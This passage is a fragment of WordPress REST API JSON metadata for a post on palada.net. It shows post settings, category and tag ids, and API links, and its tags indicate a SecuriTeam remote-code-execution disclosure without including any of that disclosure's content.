Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11682,10757,12136],"class_list":["post-9920","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-remote-code-execution","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/9920","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=9920"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/9920\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=9920"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=9920"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=9920"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}